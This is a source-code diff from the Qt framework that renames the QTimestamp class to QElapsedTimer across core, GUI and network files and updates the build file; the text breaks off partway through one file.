src/corelib/tools/qtimestamp.cpp | 8 ++++---- src/corelib/tools/qtimestamp.h | 12 ++++++------ src/corelib/tools/qtimestamp_generic.cpp | 16 ++++++++-------- src/corelib/tools/qtimestamp_mac.cpp | 16 ++++++++-------- src/corelib/tools/qtimestamp_symbian.cpp | 16 ++++++++-------- src/corelib/tools/qtimestamp_unix.cpp | 24 ++++++++++++------------ src/corelib/tools/qtimestamp_win.cpp | 16 ++++++++-------- src/corelib/tools/tools.pri | 12 ++++++------ src/gui/dialogs/qfileinfogatherer.cpp | 6 +++--- src/gui/dialogs/qfileinfogatherer_p.h | 4 ++-- src/gui/dialogs/qprogressdialog.cpp | 4 ++-- src/gui/itemviews/qabstractitemview.cpp | 2 +- src/gui/itemviews/qabstractitemview_p.h | 4 ++-- src/gui/itemviews/qtreeview.cpp | 2 +- src/gui/kernel/qclipboard_x11.cpp | 6 +++--- src/gui/kernel/qdnd_x11.cpp | 4 ++-- src/gui/kernel/qgesture_p.h | 4 ++-- src/gui/kernel/qwidget_x11.cpp | 4 ++-- src/gui/kernel/qx11embed_x11.cpp | 4 ++-- src/gui/styles/qplastiquestyle.cpp | 4 ++-- src/gui/styles/qwindowsstyle_p.h | 4 ++-- src/gui/text/qfontdatabase_x11.cpp | 6 +++--- src/gui/widgets/qabstractslider_p.h | 4 ++-- src/gui/widgets/qeffects.cpp | 6 +++--- src/gui/widgets/qscrollbar.cpp | 4 ++-- src/gui/widgets/qworkspace.cpp | 10 +++++----- src/multimedia/audio/qaudioinput_alsa_p.h | 6 +++--- src/multimedia/audio/qaudiooutput_alsa_p.h | 6 +++--- src/network/socket/qabstractsocket.cpp | 10 +++++----- src/network/socket/qhttpsocketengine.cpp | 6 +++--- src/network/socket/qlocalsocket_unix.cpp | 4 ++-- src/network/socket/qnativesocketengine_unix.cpp | 4 ++-- src/network/socket/qsocks5socketengine.cpp | 14 +++++++------- src/network/ssl/qsslsocket.cpp | 10 +++++----- src/testlib/qtestsystem.h | 4 ++-- 44 files changed, 153 insertions(+), 153 deletions(-) diff --git a/src/corelib/animation/qabstractanimation_p.h b/src/corelib/animation/qabstractanimation_p.h index 3eb4948..2282cdb 100644 --- a/src/corelib/animation/qabstractanimation_p.h +++ b/src/corelib/animation/qabstractanimation_p.h @@ -56,7 +56,7 @@ #include #include #include -#include +#include #include #ifdef Q_OS_WIN @@ -114,7 +114,7 @@ private: Q_DECLARE_PUBLIC(QAbstractAnimation) }; -typedef QTimestamp ElapsedTimer; +typedef QElapsedTimer ElapsedTimer; class QUnifiedTimer : public QObject { diff --git a/src/corelib/io/qprocess.cpp b/src/corelib/io/qprocess.cpp index 6250094..63c2ab8 100644 --- a/src/corelib/io/qprocess.cpp +++ b/src/corelib/io/qprocess.cpp @@ -88,7 +88,7 @@ QT_END_NAMESPACE #include "qprocess_p.h" #include -#include +#include #include #include #include @@ -1639,7 +1639,7 @@ bool QProcess::waitForBytesWritten(int msecs) if (d->processState == QProcess::NotRunning) return false; if (d->processState == QProcess::Starting) { - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); bool started = waitForStarted(msecs); if (!started) @@ -1676,7 +1676,7 @@ bool QProcess::waitForFinished(int msecs) if (d->processState == QProcess::NotRunning) return false; if (d->processState == QProcess::Starting) { - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); bool started = waitForStarted(msecs); if (!started) diff --git a/src/corelib/io/qprocess_unix.cpp b/src/corelib/io/qprocess_unix.cpp index 511154a..216c382 100644 --- a/src/corelib/io/qprocess_unix.cpp +++ b/src/corelib/io/qprocess_unix.cpp @@ -100,7 +100,7 @@ QT_END_NAMESPACE #include #include #include -#include +#include #include #include @@ -933,7 +933,7 @@ bool QProcessPrivate::waitForReadyRead(int msecs) qDebug("QProcessPrivate::waitForReadyRead(%d)", msecs); #endif - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); forever { @@ -1005,7 +1005,7 @@ bool QProcessPrivate::waitForBytesWritten(int msecs) qDebug("QProcessPrivate::waitForBytesWritten(%d)", msecs); #endif - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); while (!writeBuffer.isEmpty()) { @@ -1072,7 +1072,7 @@ bool QProcessPrivate::waitForFinished(int msecs) qDebug("QProcessPrivate::waitForFinished(%d)", msecs); #endif - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); forever { diff --git a/src/corelib/kernel/qcore_unix.cpp b/src/corelib/kernel/qcore_unix.cpp index 9146923..e0d92c0 100644 --- a/src/corelib/kernel/qcore_unix.cpp +++ b/src/corelib/kernel/qcore_unix.cpp @@ -40,7 +40,7 @@ ****************************************************************************/ #include "qcore_unix_p.h" -#include "qtimestamp.h" +#include "qelapsedtimer.h" #ifndef Q_OS_VXWORKS # if !defined(Q_OS_HPUX) || defined(__ia64) @@ -62,7 +62,7 @@ QT_BEGIN_NAMESPACE static inline bool time_update(struct timeval *tv, const struct timeval &start, const struct timeval &timeout) { - if (!QTimestamp::isMonotonic()) { + if (!QElapsedTimer::isMonotonic()) { // we cannot recalculate the timeout without a monotonic clock as the time may have changed return false; } diff --git a/src/corelib/kernel/qcore_unix_p.h b/src/corelib/kernel/qcore_unix_p.h index 59d66f7..439ca5a 100644 --- a/src/corelib/kernel/qcore_unix_p.h +++ b/src/corelib/kernel/qcore_unix_p.h @@ -314,7 +314,7 @@ static inline pid_t qt_safe_waitpid(pid_t pid, int *status, int options) # define _POSIX_MONOTONIC_CLOCK -1 #endif -timeval qt_gettime(); // in qtimestamp_mac.cpp or qtimestamp_unix.cpp +timeval qt_gettime(); // in qelapsedtimer_mac.cpp or qtimestamp_unix.cpp Q_CORE_EXPORT int qt_safe_select(int nfds, fd_set *fdread, fd_set *fdwrite, fd_set *fdexcept, const struct timeval *tv); diff --git a/src/corelib/kernel/qcoreapplication.cpp b/src/corelib/kernel/qcoreapplication.cpp index 3d6364b..8fc3fb8 100644 --- a/src/corelib/kernel/qcoreapplication.cpp +++ b/src/corelib/kernel/qcoreapplication.cpp @@ -58,7 +58,7 @@ #include #include #include -#include +#include #include #include #include @@ -917,7 +917,7 @@ void QCoreApplication::processEvents(QEventLoop::ProcessEventsFlags flags, int m QThreadData *data = QThreadData::current(); if (!data->eventDispatcher) return; - QTimestamp start; + QElapsedTimer start; start.start(); if (flags & QEventLoop::DeferredDeletion) QCoreApplication::sendPostedEvents(0, QEvent::DeferredDelete); diff --git a/src/corelib/kernel/qeventdispatcher_unix.cpp b/src/corelib/kernel/qeventdispatcher_unix.cpp index 7a671d1..f7d45ac 100644 --- a/src/corelib/kernel/qeventdispatcher_unix.cpp +++ b/src/corelib/kernel/qeventdispatcher_unix.cpp @@ -45,7 +45,7 @@ #include "qpair.h" #include "qsocketnotifier.h" #include "qthread.h" -#include "qtimestamp.h" +#include "qelapsedtimer.h" #include "qeventdispatcher_unix_p.h" #include @@ -313,7 +313,7 @@ int QEventDispatcherUNIXPrivate::doSelect(QEventLoop::ProcessEventsFlags flags, QTimerInfoList::QTimerInfoList() { #if (_POSIX_MONOTONIC_CLOCK-0 <= 0) && !defined(Q_OS_MAC) - if (!QTimestamp::isMonotonic()) { + if (!QElapsedTimer::isMonotonic()) { // not using monotonic timers, initialize the timeChanged() machinery previousTime = qt_gettime(); @@ -392,7 +392,7 @@ bool QTimerInfoList::timeChanged(timeval *delta) void QTimerInfoList::repairTimersIfNeeded() { - if (QTimestamp::isMonotonic()) + if (QElapsedTimer::isMonotonic()) return; timeval delta; if (timeChanged(&delta)) diff --git a/src/corelib/tools/qdatetime.h b/src/corelib/tools/qdatetime.h index 75b5985..cb7f5bd 100644 --- a/src/corelib/tools/qdatetime.h +++ b/src/corelib/tools/qdatetime.h @@ -204,7 +204,7 @@ private: friend class QDateTime; friend class QDateTimePrivate; - friend class QTimestamp; + friend class QElapsedTimer; #ifndef QT_NO_DATASTREAM friend Q_CORE_EXPORT QDataStream &operator<<(QDataStream &, const QTime &); friend Q_CORE_EXPORT QDataStream &operator>>(QDataStream &, QTime &); diff --git a/src/corelib/tools/qtimeline.cpp b/src/corelib/tools/qtimeline.cpp index 57977bc..f413223 100644 --- a/src/corelib/tools/qtimeline.cpp +++ b/src/corelib/tools/qtimeline.cpp @@ -44,7 +44,7 @@ #include #include #include -#include +#include QT_BEGIN_NAMESPACE @@ -70,7 +70,7 @@ public: int currentTime; int timerId; - QTimestamp timer; + QElapsedTimer timer; QTimeLine::Direction direction; QEasingCurve easingCurve; diff --git a/src/corelib/tools/qtimestamp.cpp b/src/corelib/tools/qtimestamp.cpp index b861099..220b108 100644 --- a/src/corelib/tools/qtimestamp.cpp +++ b/src/corelib/tools/qtimestamp.cpp @@ -39,23 +39,23 @@ ** ****************************************************************************/ -#include "qtimestamp.h" +#include "qelapsedtimer.h" QT_BEGIN_NAMESPACE static const qint64 invalidData = Q_INT64_C(0x8000000000000000); -void QTimestamp::invalidate() +void QElapsedTimer::invalidate() { t1 = t2 = invalidData; } -bool QTimestamp::isValid() const +bool QElapsedTimer::isValid() const { return t1 != invalidData && t2 != invalidData; } -bool QTimestamp::hasExpired(qint64 timeout) const +bool QElapsedTimer::hasExpired(qint64 timeout) const { // if timeout is -1, quint64(timeout) is LLINT_MAX, so this will be // considered as never expired diff --git a/src/corelib/tools/qtimestamp.h b/src/corelib/tools/qtimestamp.h index de87ad8..4fa0ca5 100644 --- a/src/corelib/tools/qtimestamp.h +++ b/src/corelib/tools/qtimestamp.h @@ -50,7 +50,7 @@ QT_BEGIN_NAMESPACE QT_MODULE(Core) -class Q_CORE_EXPORT QTimestamp +class Q_CORE_EXPORT QElapsedTimer { public: static bool isMonotonic(); @@ -63,15 +63,15 @@ public: qint64 elapsed() const; bool hasExpired(qint64 timeout) const; - qint64 msecsTo(const QTimestamp &other) const; - qint64 secsTo(const QTimestamp &other) const; + qint64 msecsTo(const QElapsedTimer &other) const; + qint64 secsTo(const QElapsedTimer &other) const; - bool operator==(const QTimestamp &other) const + bool operator==(const QElapsedTimer &other) const { return t1 == other.t1 && t2 == other.t2; } - bool operator!=(const QTimestamp &other) const + bool operator!=(const QElapsedTimer &other) const { return !(*this == other); } - friend bool Q_CORE_EXPORT operator<(const QTimestamp &v1, const QTimestamp &v2); + friend bool Q_CORE_EXPORT operator<(const QElapsedTimer &v1, const QElapsedTimer &v2); private: qint64 t1; diff --git a/src/corelib/tools/qtimestamp_generic.cpp b/src/corelib/tools/qtimestamp_generic.cpp index c80ac34..a9c2233 100644 --- a/src/corelib/tools/qtimestamp_generic.cpp +++ b/src/corelib/tools/qtimestamp_generic.cpp @@ -39,24 +39,24 @@ ** ****************************************************************************/ -#include "qtimestamp.h" +#include "qelapsedtimer.h" #include "qdatetime.h" QT_BEGIN_NAMESPACE -bool QTimestamp::isMonotonic() +bool QElapsedTimer::isMonotonic() { return false; } -void QTimestamp::start() +void QElapsedTimer::start() { QTime t = QTime::currentTime(); t1 = t.mds; t2 = 0; } -qint64 QTimestamp::restart() +qint64 QElapsedTimer::restart() { QTime t = QTime::currentTime(); qint64 old = t1; @@ -64,13 +64,13 @@ qint64 QTimestamp::restart() return t1 - old; } -qint64 QTimestamp::elapsed() const +qint64 QElapsedTimer::elapsed() const { QTime t = QTime::currentTime(); return t.mds - t1; } -qint64 QTimestamp::msecsTo(const QTimestamp &other) const +qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const { qint64 diff = other.t1 - t1; if (diff < 0) // passed midnight @@ -78,12 +78,12 @@ qint64 QTimestamp::msecsTo(const QTimestamp &other) const return diff; } -qint64 QTimestamp::secsTo(const QTimestamp &other) const +qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const { return msecsTo(other) / 1000; } -bool operator<(const QTimestamp &v1, const QTimestamp &v2) +bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) { return v1.t1 < v2.t1; } diff --git a/src/corelib/tools/qtimestamp_mac.cpp b/src/corelib/tools/qtimestamp_mac.cpp index 02f0fa7..21a6d1b 100644 --- a/src/corelib/tools/qtimestamp_mac.cpp +++ b/src/corelib/tools/qtimestamp_mac.cpp @@ -39,7 +39,7 @@ ** ****************************************************************************/ -#include "qtimestamp.h" +#include "qelapsedtimer.h" #include #include @@ -47,7 +47,7 @@ QT_BEGIN_NAMESPACE -bool QTimestamp::isMonotonic() +bool QElapsedTimer::isMonotonic() { return true; } @@ -77,13 +77,13 @@ timeval qt_gettime() return tv; } -void QTimestamp::start() +void QElapsedTimer::start() { t1 = mach_absolute_time(); t2 = 0; } -qint64 QTimestamp::restart() +qint64 QElapsedTimer::restart() { qint64 old = t1; t1 = mach_absolute_time(); @@ -91,23 +91,23 @@ qint64 QTimestamp::restart() return absoluteToMSecs(t1 - old); } -qint64 QTimestamp::elapsed() const +qint64 QElapsedTimer::elapsed() const { uint64_t cpu_time = mach_absolute_time(); return absoluteToMSecs(cpu_time - t1); } -qint64 QTimestamp::msecsTo(const QTimestamp &other) const +qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const { return absoluteToMSecs(other.t1 - t1); } -qint64 QTimestamp::secsTo(const QTimestamp &other) const +qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const { return msecsTo(other) / 1000; } -bool operator<(const QTimestamp &v1, const QTimestamp &v2) +bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) { return v1.t1 < v2.t1; } diff --git a/src/corelib/tools/qtimestamp_symbian.cpp b/src/corelib/tools/qtimestamp_symbian.cpp index 1d7b6ff..1fbba65 100644 --- a/src/corelib/tools/qtimestamp_symbian.cpp +++ b/src/corelib/tools/qtimestamp_symbian.cpp @@ -39,7 +39,7 @@ ** ****************************************************************************/ -#include "qtimestamp.h" +#include "qelapsedtimer.h" #include QT_BEGIN_NAMESPACE @@ -65,40 +65,40 @@ static qint64 difference(qint64 a, qint64 b) return retval; } -bool QTimestamp::isMonotonic() +bool QElapsedTimer::isMonotonic() { return true; } -void QTimestamp::start() +void QElapsedTimer::start() { t1 = getMillisecondFromTick(); t2 = 0; } -qint64 QTimestamp::restart() +qint64 QElapsedTimer::restart() { qint64 oldt1 = t1; t1 = getMillisecondFromTick(); return difference(t1, oldt1); } -qint64 QTimestamp::elapsed() const +qint64 QElapsedTimer::elapsed() const { return difference(getMillisecondFromTick(), t1); } -qint64 QTimestamp::msecsTo(const QTimestamp &other) const +qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const { return difference(other.t1, t1); } -qint64 QTimestamp::secsTo(const QTimestamp &other) const +qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const { return msecsTo(other) / 1000; } -bool operator<(const QTimestamp &v1, const QTimestamp &v2) +bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) { return difference(v1.t1, v2.t1) < 0; } diff --git a/src/corelib/tools/qtimestamp_unix.cpp b/src/corelib/tools/qtimestamp_unix.cpp index 507c861..b8215f4 100644 --- a/src/corelib/tools/qtimestamp_unix.cpp +++ b/src/corelib/tools/qtimestamp_unix.cpp @@ -39,7 +39,7 @@ ** ****************************************************************************/ -#include "qtimestamp.h" +#include "qelapsedtimer.h" #include "qpair.h" #include #include @@ -55,7 +55,7 @@ QT_BEGIN_NAMESPACE static qint64 fractionAdjustment() { - if (QTimestamp::isMonotonic()) { + if (QElapsedTimer::isMonotonic()) { // the monotonic timer is measured in nanoseconds // 1 ms = 1000000 ns return 1000*1000ull; @@ -66,7 +66,7 @@ static qint64 fractionAdjustment() } } -bool QTimestamp::isMonotonic() +bool QElapsedTimer::isMonotonic() { #if (_POSIX_MONOTONIC_CLOCK-0 > 0) return true; @@ -95,7 +95,7 @@ static inline QPair do_gettime() return qMakePair(ts.tv_sec, ts.tv_nsec); #else # if !defined(QT_NO_CLOCK_MONOTONIC) && !defined(QT_BOOTSTRAPPED) - if (QTimestamp::isMonotonic()) { + if (QElapsedTimer::isMonotonic()) { timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return qMakePair(ts.tv_sec, ts.tv_nsec); @@ -116,20 +116,20 @@ timeval qt_gettime() timeval tv; tv.tv_sec = r.first; tv.tv_usec = r.second; - if (QTimestamp::isMonotonic()) + if (QElapsedTimer::isMonotonic()) tv.tv_usec /= 1000; return tv; } -void QTimestamp::start() +void QElapsedTimer::start() { QPair r = do_gettime(); t1 = r.first; t2 = r.second; } -qint64 QTimestamp::restart() +qint64 QElapsedTimer::restart() { QPair r = do_gettime(); qint64 oldt1 = t1; @@ -142,26 +142,26 @@ qint64 QTimestamp::restart() return r.first * 1000 + r.second / fractionAdjustment(); } -qint64 QTimestamp::elapsed() const +qint64 QElapsedTimer::elapsed() const { - QTimestamp now; + QElapsedTimer now; now.start(); return msecsTo(now); } -qint64 QTimestamp::msecsTo(const QTimestamp &other) const +qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const { qint64 secs = other.t1 - t1; qint64 fraction = other.t2 - t2; return secs * 1000 + fraction / fractionAdjustment(); } -qint64 QTimestamp::secsTo(const QTimestamp &other) const +qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const { return other.t1 - t1; } -bool operator<(const QTimestamp &v1, const QTimestamp &v2) +bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) { return v1.t1 < v2.t1 || (v1.t1 == v2.t1 && v1.t2 < v2.t2); } diff --git a/src/corelib/tools/qtimestamp_win.cpp b/src/corelib/tools/qtimestamp_win.cpp index 1aea5cf..e384dd8 100644 --- a/src/corelib/tools/qtimestamp_win.cpp +++ b/src/corelib/tools/qtimestamp_win.cpp @@ -39,7 +39,7 @@ ** ****************************************************************************/ -#include "qtimestamp.h" +#include "qelapsedtimer.h" #include typedef ULONGLONG (WINAPI *PtrGetTickCount64)(void); @@ -88,40 +88,40 @@ static qint64 difference(qint64 a, qint64 b) return retval; } -bool QTimestamp::isMonotonic() +bool QElapsedTimer::isMonotonic() { return true; } -void QTimestamp::start() +void QElapsedTimer::start() { t1 = getTickCount(); t2 = 0; } -qint64 QTimestamp::restart() +qint64 QElapsedTimer::restart() { qint64 oldt1 = t1; t1 = getTickCount(); return difference(t1, oldt1); } -qint64 QTimestamp::elapsed() const +qint64 QElapsedTimer::elapsed() const { return difference(getTickCount(), t1); } -qint64 QTimestamp::msecsTo(const QTimestamp &other) const +qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const { return difference(other.t1, t1); } -qint64 QTimestamp::secsTo(const QTimestamp &other) const +qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const { return msecsTo(other) / 1000; } -bool operator<(const QTimestamp &v1, const QTimestamp &v2) +bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) { return difference(v1.t1, v2.t1) < 0; } diff --git a/src/corelib/tools/tools.pri b/src/corelib/tools/tools.pri index e1097c4..692fae9 100644 --- a/src/corelib/tools/tools.pri +++ b/src/corelib/tools/tools.pri @@ -42,7 +42,7 @@ HEADERS += \ tools/qstringmatcher.h \ tools/qtextboundaryfinder.h \ tools/qtimeline.h \ - tools/qtimestamp.h \ + tools/qelapsedtimer.h \ tools/qunicodetables_p.h \ tools/qvarlengtharray.h \ tools/qvector.h \ @@ -77,16 +77,16 @@ SOURCES += \ tools/qstringlist.cpp \ tools/qtextboundaryfinder.cpp \ tools/qtimeline.cpp \ - tools/qtimestamp.cpp \ + tools/qelapsedtimer.cpp \ tools/qvector.cpp \ tools/qvsnprintf.cpp symbian:SOURCES+=tools/qlocale_symbian.cpp -mac:SOURCES += tools/qtimestamp_mac.cpp -else:unix:SOURCES += tools/qtimestamp_unix.cpp -else:win32:SOURCES += tools/qtimestamp_win.cpp -else:SOURCES += tools/qtimestamp_generic.cpp +mac:SOURCES += tools/qelapsedtimer_mac.cpp +else:unix:SOURCES += tools/qelapsedtimer_unix.cpp +else:win32:SOURCES += tools/qelapsedtimer_win.cpp +else:SOURCES += tools/qelapsedtimer_generic.cpp #zlib support contains(QT_CONFIG, zlib) { diff --git a/src/gui/dialogs/qfileinfogatherer.cpp b/src/gui/dialogs/qfileinfogatherer.cpp index a565c45..3b279ae 100644 --- a/src/gui/dialogs/qfileinfogatherer.cpp +++ b/src/gui/dialogs/qfileinfogatherer.cpp @@ -297,7 +297,7 @@ void QFileInfoGatherer::getFileInfos(const QString &path, const QStringList &fil return; } - QTimestamp base; + QElapsedTimer base; base.start(); QFileInfo fileInfo; bool firstTime = true; @@ -327,9 +327,9 @@ void QFileInfoGatherer::getFileInfos(const QString &path, const QStringList &fil emit directoryLoaded(path); } -void QFileInfoGatherer::fetch(const QFileInfo &fileInfo, QTimestamp &base, bool &firstTime, QList > &updatedFiles, const QString &path) { +void QFileInfoGatherer::fetch(const QFileInfo &fileInfo, QElapsedTimer &base, bool &firstTime, QList > &updatedFiles, const QString &path) { updatedFiles.append(QPair(fileInfo.fileName(), fileInfo)); - QTimestamp current; + QElapsedTimer current; current.start(); if ((firstTime && updatedFiles.count() > 100) || base.msecsTo(current) > 1000) { emit updates(path, updatedFiles); diff --git a/src/gui/dialogs/qfileinfogatherer_p.h b/src/gui/dialogs/qfileinfogatherer_p.h index a2b9acd..5abcd94 100644 --- a/src/gui/dialogs/qfileinfogatherer_p.h +++ b/src/gui/dialogs/qfileinfogatherer_p.h @@ -63,7 +63,7 @@ #include #include #include -#include +#include QT_BEGIN_NAMESPACE @@ -175,7 +175,7 @@ protected: void getFileInfos(const QString &path, const QStringList &files); private: - void fetch(const QFileInfo &info, QTimestamp &base, bool &firstTime, QList > &updatedFiles, const QString &path); + void fetch(const QFileInfo &info, QElapsedTimer &base, bool &firstTime, QList > &updatedFiles, const QString &path); QString translateDriveName(const QFileInfo &drive) const; QMutex mutex; diff --git a/src/gui/dialogs/qprogressdialog.cpp b/src/gui/dialogs/qprogressdialog.cpp index 602f47c..a2d7b23 100644 --- a/src/gui/dialogs/qprogressdialog.cpp +++ b/src/gui/dialogs/qprogressdialog.cpp @@ -53,7 +53,7 @@ #include "qpushbutton.h" #include "qcursor.h" #include "qtimer.h" -#include "qtimestamp.h" +#include "qelapsedtimer.h" #include #include @@ -103,7 +103,7 @@ public: QTimer *forceTimer; bool shown_once; bool cancellation_flag; - QTimestamp starttime; + QElapsedTimer starttime; #ifndef QT_NO_CURSOR QCursor parentCursor; #endif diff --git a/src/gui/itemviews/qabstractitemview.cpp b/src/gui/itemviews/qabstractitemview.cpp index 34b5e13..3738816 100644 --- a/src/gui/itemviews/qabstractitemview.cpp +++ b/src/gui/itemviews/qabstractitemview.cpp @@ -2839,7 +2839,7 @@ void QAbstractItemView::keyboardSearch(const QString &search) QModelIndex start = currentIndex().isValid() ? currentIndex() : d->model->index(0, 0, d->root); - QTimestamp now; + QElapsedTimer now; now.start(); bool skipRow = false; if (search.isEmpty() diff --git a/src/gui/itemviews/qabstractitemview_p.h b/src/gui/itemviews/qabstractitemview_p.h index 4af98b4..509459c 100644 --- a/src/gui/itemviews/qabstractitemview_p.h +++ b/src/gui/itemviews/qabstractitemview_p.h @@ -64,7 +64,7 @@ #include "QtCore/qdebug.h" #include "QtGui/qpainter.h" #include "QtCore/qbasictimer.h" -#include "QtCore/qtimestamp.h" +#include "QtCore/qelapsedtimer.h" #ifndef QT_NO_ITEMVIEWS @@ -390,7 +390,7 @@ public: #endif QString keyboardInput; - QTimestamp keyboardInputTime; + QElapsedTimer keyboardInputTime; bool autoScroll; QBasicTimer autoScrollTimer; diff --git a/src/gui/itemviews/qtreeview.cpp b/src/gui/itemviews/qtreeview.cpp index 9f8c322..fcdc429 100644 --- a/src/gui/itemviews/qtreeview.cpp +++ b/src/gui/itemviews/qtreeview.cpp @@ -958,7 +958,7 @@ void QTreeView::keyboardSearch(const QString &search) else start = d->model->index(0, 0, d->root); - QTimestamp now; + QElapsedTimer now; now.start(); bool skipRow = false; if (search.isEmpty() diff --git a/src/gui/kernel/qclipboard_x11.cpp b/src/gui/kernel/qclipboard_x11.cpp index 2a9706b..3bdc971 100644 --- a/src/gui/kernel/qclipboard_x11.cpp +++ b/src/gui/kernel/qclipboard_x11.cpp @@ -75,7 +75,7 @@ #include "qt_x11_p.h" #include "qx11info_x11.h" #include "qimagewriter.h" -#include "qtimestamp.h" +#include "qelapsedtimer.h" #include "qvariant.h" #include "qdnd_p.h" #include @@ -516,9 +516,9 @@ static Bool checkForClipboardEvents(Display *, XEvent *e, XPointer) bool QX11Data::clipboardWaitForEvent(Window win, int type, XEvent *event, int timeout) { - QTimestamp started; + QElapsedTimer started; started.start(); - QTimestamp now = started; + QElapsedTimer now = started; if (QAbstractEventDispatcher::instance()->inherits("QtMotif") || QApplication::clipboard()->property("useEventLoopWhenWaiting").toBool()) { diff --git a/src/gui/kernel/qdnd_x11.cpp b/src/gui/kernel/qdnd_x11.cpp index 0d24ed7..0a05d8e 100644 --- a/src/gui/kernel/qdnd_x11.cpp +++ b/src/gui/kernel/qdnd_x11.cpp @@ -54,7 +54,7 @@ #include "qiodevice.h" #include "qpointer.h" #include "qcursor.h" -#include "qtimestamp.h" +#include "qelapsedtimer.h" #include "qvariant.h" #include "qvector.h" #include "qurl.h" @@ -1911,7 +1911,7 @@ Qt::DropAction QDragManager::drag(QDrag * o) // then we could still have problems, but this is highly unlikely QApplication::flush(); - QTimestamp timer; + QElapsedTimer timer; timer.start(); do { XEvent event; diff --git a/src/gui/kernel/qgesture_p.h b/src/gui/kernel/qgesture_p.h index 84d8b7c..bf60f97 100644 --- a/src/gui/kernel/qgesture_p.h +++ b/src/gui/kernel/qgesture_p.h @@ -56,7 +56,7 @@ #include "qrect.h" #include "qpoint.h" #include "qgesture.h" -#include "qtimestamp.h" +#include "qelapsedtimer.h" #include "private/qobject_p.h" QT_BEGIN_NAMESPACE @@ -148,7 +148,7 @@ public: QPoint lastPositions[3]; bool started; qreal speed; - QTimestamp time; + QElapsedTimer time; }; class QTapGesturePrivate : public QGesturePrivate diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp index 3fbb9ce..b4febc6 100644 --- a/src/gui/kernel/qwidget_x11.cpp +++ b/src/gui/kernel/qwidget_x11.cpp @@ -49,7 +49,7 @@ #include "qbitmap.h" #include "qlayout.h" #include "qtextcodec.h" -#include "qtimestamp.h" +#include "qelapsedtimer.h" #include "qcursor.h" #include "qstack.h" #include "qcolormap.h" @@ -352,7 +352,7 @@ Q_GUI_EXPORT void qt_x11_wait_for_window_manager(QWidget* w) return; QApplication::flush(); XEvent ev; - QTimestamp t; + QElapsedTimer t; t.start(); static const int maximumWaitTime = 2000; if (!w->testAttribute(Qt::WA_WState_Created)) diff --git a/src/gui/kernel/qx11embed_x11.cpp b/src/gui/kernel/qx11embed_x11.cpp index b92a5b1..b527e72 100644 --- a/src/gui/kernel/qx11embed_x11.cpp +++ b/src/gui/kernel/qx11embed_x11.cpp @@ -47,7 +47,7 @@ #include #include #include -#include +#include #include #include #include @@ -1231,7 +1231,7 @@ void QX11EmbedContainer::embedClient(WId id) For safety, we will not wait more than 500 ms, so that we can preemptively workaround buggy window managers. */ - QTimestamp t; + QElapsedTimer t; t.start(); functorData data; diff --git a/src/gui/styles/qplastiquestyle.cpp b/src/gui/styles/qplastiquestyle.cpp index 9f4d48e..4ae9f79 100644 --- a/src/gui/styles/qplastiquestyle.cpp +++ b/src/gui/styles/qplastiquestyle.cpp @@ -80,7 +80,7 @@ static const int blueFrameWidth = 2; // with of line edit focus frame #include #include #include -#include +#include #include #include #include @@ -980,7 +980,7 @@ public: #ifndef QT_NO_PROGRESSBAR QList bars; int progressBarAnimateTimer; - QTimestamp timer; + QElapsedTimer timer; #endif }; diff --git a/src/gui/styles/qwindowsstyle_p.h b/src/gui/styles/qwindowsstyle_p.h index 92060d8..2a89b84 100644 --- a/src/gui/styles/qwindowsstyle_p.h +++ b/src/gui/styles/qwindowsstyle_p.h @@ -59,7 +59,7 @@ #ifndef QT_NO_STYLE_WINDOWS #include #include -#include +#include QT_BEGIN_NAMESPACE @@ -80,7 +80,7 @@ public: QList bars; int animationFps; int animateTimer; - QTimestamp startTime; + QElapsedTimer startTime; int animateStep; QColor inactiveCaptionText; QColor activeCaptionColor; diff --git a/src/gui/text/qfontdatabase_x11.cpp b/src/gui/text/qfontdatabase_x11.cpp index fd3cba8..b1ab478 100644 --- a/src/gui/text/qfontdatabase_x11.cpp +++ b/src/gui/text/qfontdatabase_x11.cpp @@ -43,7 +43,7 @@ #include #include -#include +#include #include #include "qx11info_x11.h" @@ -1218,7 +1218,7 @@ static void load(const QString &family = QString(), int script = -1, bool forceX } #ifdef QFONTDATABASE_DEBUG - QTimestamp t; + QElapsedTimer t; t.start(); #endif @@ -1301,7 +1301,7 @@ static void initializeDb() if (!db || db->count) return; - QTimestamp t; + QElapsedTimer t; t.start(); #ifndef QT_NO_FONTCONFIG diff --git a/src/gui/widgets/qabstractslider_p.h b/src/gui/widgets/qabstractslider_p.h index c8c29b5..19d1fca 100644 --- a/src/gui/widgets/qabstractslider_p.h +++ b/src/gui/widgets/qabstractslider_p.h @@ -54,7 +54,7 @@ // #include "QtCore/qbasictimer.h" -#include "QtCore/qtimestamp.h" +#include "QtCore/qelapsedtimer.h" #include "private/qwidget_p.h" #include "qstyle.h" @@ -104,7 +104,7 @@ public: /** * The time of when the first auto repeating key press event occurs. */ - QTimestamp firstRepeat; + QElapsedTimer firstRepeat; #endif diff --git a/src/gui/widgets/qeffects.cpp b/src/gui/widgets/qeffects.cpp index 9dd853f..a56d093 100644 --- a/src/gui/widgets/qeffects.cpp +++ b/src/gui/widgets/qeffects.cpp @@ -49,7 +49,7 @@ #include "qpixmap.h" #include "qpointer.h" #include "qtimer.h" -#include "qtimestamp.h" +#include "qelapsedtimer.h" #include "qdebug.h" QT_BEGIN_NAMESPACE @@ -103,7 +103,7 @@ private: int 